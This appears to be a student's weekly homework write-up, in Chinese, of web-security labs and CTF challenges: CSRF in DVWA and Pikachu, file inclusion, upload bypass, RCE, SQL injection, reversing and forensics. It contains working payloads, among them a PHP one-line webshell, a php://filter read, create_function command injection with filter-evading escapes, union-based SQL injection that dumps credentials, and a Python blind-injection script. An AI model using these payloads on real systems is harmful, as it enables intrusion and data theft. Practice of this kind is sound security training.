第五周作业

dvwa的csrf

首先的话我们这边是需要进行靶场的搭建,根据指导文章顺利搭建好,然后我们看看什么是csrf

CSRF(跨站请求伪造) 是一种利用用户已认证身份,在用户不知情的情况下执行非授权操作的攻击。

核心原理

  • 用户登录目标网站(如银行),浏览器保存了认证Cookie

  • 攻击者诱导用户访问恶意页面(含伪造请求)

  • 浏览器自动携带Cookie发送请求

  • 服务器误认为是用户本人操作,执行恶意指令

常见攻击场景

  • 修改密码/邮箱

  • 转账、购物

  • 发表内容、删除数据

  • 更改账户设置

关键成因

  • Web应用仅凭Cookie等自动携带的凭证验证身份

  • 未验证请求来源(如Referer)或缺少唯一令牌

  • 攻击者能构造完整有效的请求参数

打开题目,发现是修改密码测试界面,我们修改为1234567,然后这边使用bp进行抓包

我们发现后面跟着一个token的值,这边需要绕过,我们发现token的含义是说相当于一个令牌,只有真正的用户能得到,而并不是攻击者,但是我们需要尝试给他绕过去由于这边的话我们的这个密码是需要通过爆破攻击的,所以发送到我们的这个攻击模块(在CSRF里,Token就是一个藏在页面里的随机暗号,用户正常操作时会自动带上,攻击者的恶意请求里带不了或带不对,因此被服务器拒绝。

密码修改成功

csrfpikachu的csrf

登录我们题目说了是这个csrf类型 ,我们登录之后进行修改

抓包开结果

我们重放,之后修改之前的信息222改成333,然后我们看看

发现成功修改了

[ACTF2020 新生赛]Include

我们这边发现参数,所以我们来执行 一个那个协议语句

复制代码
?file=php://filter/read=convert.base64-encode/resource=flag.php

我们来直接进行读取 这边由于我们使用的是这个进行编码之后的语句,所以得到的就是base64编码之后的语句,所以需要解码

获得flag

[ACTF2020 新生赛]BackupFile

题目的意思是说我们要在备份文件里面搜寻线索,这边我们搜索到了一些信息,一开始我们也曾尝试过这个源码文件

但是没有什么发现,所以加上bak备份标志之后获得

我们使用记事本打开

我们发现其实他的要求就是说要我们get传入一个参数,这个参数是key,key值只允许有数字,然后下面还有要求就是说要求我们key值和我们的这个str的弱比较要想等,这个str的值弱比较相等的话就只能是个123,所以我们就输入这个key等于123

[GXYCTF2019]BabyUpload

这边我们上传了一个png格式的一句话木马,他的会显示是这样的

既然他说的是上传类型的话,我们就来修改一下上传类型,直接上传php的类型也是不行

那我们尝试jpg格式的一句话木马,然后我们根据题目给的上传成功路径,我们去找这个图片

能打开应该就没问题,这边接着使用蚁剑来看看,但是发现这边他的文件返回数据是空的,所以的话我们就再看看,一开始上传的时候我们就上传一个加上.htaccess文件

加上配置文件,但是配置文件他不可以直接上传,需要先上传这个jpg格式的文件,所以我们直接修改文件后缀,之后上传之后我们就不东内容,直接改回后缀,,证明检测的只是type,现在接着上传一句话木马就可以了,但是文件上传的话现在我们最好还是来看这个方式的,不容易被过滤

复制代码
<script language="php">@eval($_POST['cmd']);</script>

[GXYCTF2019]禁止套娃

得到源码查看发现需要执行的语句就是@eval($_GET['exp']) 我们使用一个从查询语句,意义就是 返回 取出 列出 输出

复制代码
?exp=print_r(scandir(pos(localeconv())));

发现flag的位置 但是我们只能读取第一个,所以我们使用函数array_reverse将数组反转

复制代码
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

再用next来移动

[MRCTF2020]你传你🐎呢

这个题目也是文件多重绕过然后上传

我们依旧使用刚才的方法,首先上传一下我们的这个图片文件之后,我们修改文件,这便注意使用其他的一句话木马风险还是很大,所以我们还是用我们现在的这个

然后将得到的路径拼接在后面使用蚁剑来连接之后得到结果

我们查看文章提示的路径来查看这边发现就在根目录下面

某函数的复仇

rce题目 我们分析看到这边的这个两种方式的传参,并且一个是黑名单一个是白名单,后面的关键是我们发现的是

并且这边shaw这个是我们外围的函数,需要执行的,那么就证明我们构建的函数名只可以用小写字母,所以我们就要看一个合适的函数,原理就像上面的一样,构造函数,我们就要用一个

function anonymous() {

}system("cat /flag");//

}

那么他最后就只会执行这个cat /flag的指令,由于这边cat还有tac都被过滤了,所以我们使用c\at转义符

复制代码
?root=}system("s\ort /flag");/*   
post:shaw=create_function

(/*起到注释后面的作用)

[极客大挑战 2019]LoveSQL

看见sql注入,我们就直接来看看这个万能密码,我们给到闭合条件,

他说注入成功并且获得一个密码,但是没有用,这个密码的话不是flag

复制代码
1' order by 4 #

这边选择固定这个用户名是text的前提下面我们修改密码为查询列数的方法,这边得到回显

接下来查询回显位置

然后题目给出说是要常规注入,我们也发现没有过滤,所以的话我们就直接进行常规注入

复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_scheme=database()#

我们来尝试报出数据库

复制代码
1' union select 1,2,database()#

接下来尝试表名

复制代码
1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

下面列名。由于两个表后面的可能行最大,优先尝试

复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

出现三个列名

直接查询全部内容

复制代码
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

出现flag 但是u不太好看,我们选择,查询源码

[NCTF2019]SQLi

一样的还是登录,这个题目的提示说是布尔盲注,我们猜测会有这个隐藏文件,我们给到这个robots.txt文件直接访问之后

之后就获得了题目的完整过滤信息

含义就是说我们获得的一些密码来和admin的密码进行强比较,一样的话就给flag,所以我们需要获得一开始的密码然后来登录

复制代码
import requests
from urllib import parse
import string
import time
 
url='http://21d854cc-ec65-4df4-810a-cbed03d66e01.node5.buuoj.cn:81/index.php'
 
string= string.ascii_lowercase + string.digits + '_'
 
flag=''
 
for i in range(100):
    for j in string:
 
        data={
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00')),
            #'passwd':'||/*1*/passwd/*1*/regexp/*1*/"^{}";{}'.format(i,'%00'),
            'username':"\\"
        }
        #print(data)
        res = requests.post(url=url,data=data).text
        #print(res)
        if 'welcome' in res:
            flag+=j
            print(flag)
            #print(res)
            break
        time.sleep(0.1)
    time.sleep(0.1)

之后获得密码

变异凯撒

一个密码题目

给了我们密文还有格式,所以应该是对应的,我们进行分析

观察规律之后我们编写脚本

复制代码
Ciphertext='afZ_r9VYfScOeO_UL^RWUc'
j=5
for i in Ciphertext:
    print(chr(ord(i)+j), end=' ')
    j+=1

被嗅探的流量

流量分析题目,我们使用工具wireshark打开题目所需的文件,然后我们直接搜索追踪http流发现

找到375的这个流量包,我们发现这个上传了一个文件

与上文的文件传输相对应,然后我们也发现了直接的flag字符串

小明的保险箱

我们下载题目给的图片之后我们将题目给的图片的路径给到这个随波逐流的工具下面的文件模块

提取之后他给我们存储到这个相同的路径下方的

我们发现一个压缩包,这边是用工具apchpr工具被爆破之后得到密码是7869

然后我们直接解压

[LitCTF 2024]hello_upx

这边使用DIE工具之后发现查看加壳情况

我们使用upx脱壳工具进行脱壳

发现不能直接脱壳,遇到问题,我们使用文件查看工具010发现不同

upx被小写修改,正常情况应该是大写,我们进行修改,修改之后使用IDA查看

使用脚本来

获得flag

没人能拒绝猫猫

题目描述说是简单栈溢出,我们分析发现问题处在这里

他的读取加上了其他,变成40位字节,所以就出现了栈溢出,发现溢出是在s2的位置,所以的话,我们就要编写脚本来解决

执行之后读取就好

相关推荐
g***27992 小时前
IPV6公网暴露下的OPENWRT防火墙安全设置(只允许访问局域网中指定服务器指定端口其余拒绝)
服务器·安全·php
乾元2 小时前
提示词注入:针对 LLM 的 SQL 注入式攻击分析
运维·人工智能·安全·网络安全·架构·系统架构·自动化
一名优秀的码农2 小时前
vulhub系列-01-SickOs1.1(超详细)
数据库·安全·web安全·网络安全·网络攻击模型·安全威胁分析
小义_3 小时前
【RH134知识点问答题】第11章 管理网络安全
linux·安全·web安全·云原生
没有bug.的程序员3 小时前
云原生安全深潜:K8s RBAC 权限模型内核、服务账户生命周期与权限最小化实战指南
安全·云原生·kubernetes·k8s·rbac·权限模型·服务账户
一名优秀的码农3 小时前
vulhub系列-09-KioptrixVM3(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
星河耀银海12 小时前
Java安全开发实战:从代码防护到架构安全
java·安全·架构
mCell13 小时前
Memo Code 安全设计:子进程、命令防护与权限审批的统一方案
安全·typescript·agent
漠月瑾-西安13 小时前
CVE-2025-55182漏洞解析:你的React项目安全吗?
前端·安全·react.js